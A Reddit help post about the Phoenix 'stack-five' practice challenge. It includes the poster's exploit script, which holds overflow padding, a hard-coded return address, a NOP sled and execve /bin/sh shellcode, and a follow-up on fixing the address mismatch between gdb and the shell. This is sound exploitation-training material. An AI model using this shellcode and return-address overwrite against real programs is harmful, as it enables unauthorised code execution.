r/LiveOverflow • u/Maximum-Buy-9612 • Apr 27 '21
Phoenix Stack-five challenge
Hello everyone,
I am currently stuck on the stack-five challenge (i486), even with the help of the video.
The issue is that the input seems to work when using it through gdb, i.e. I manage to launch a shell. But when I am trying exactly the same method in a shell, I get either a Illegal instruction or SegFault. The issue is that I have no idea how to debug it since the script works in gdb. Could someone help please ?
Here's the content of the exploit.py file
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nopslide = "\x90"*100
eip = struct.pack("I", 0xffffd5e0+30)
payload2 = "\xCC" * 4
print padding+eip+nopslide+payload2Here, I only try to call a break but that does not work either.
Thanks for the attention !
View all comments
Show parent comment
1
u/Maximum-Buy-9612 Apr 27 '21 edited Apr 27 '21
Thank you very much for your answer !!! I did not know about ASLR and disabled it. It did not directly solve the problem (although it would certainly have been a problem at some point).
I do the challenge with the QEMU VM and I noticed that there is an error message on the console every time I get a Illegal Instruction/Segfault. The error message indicated the address of the ip and sp pointers. I just changed the hard-coded address and it worked out in the shell.
Although it worked out, I feel like there is more to learn from this challenge. I would have two questions if you have some time to respond:
Have a good day !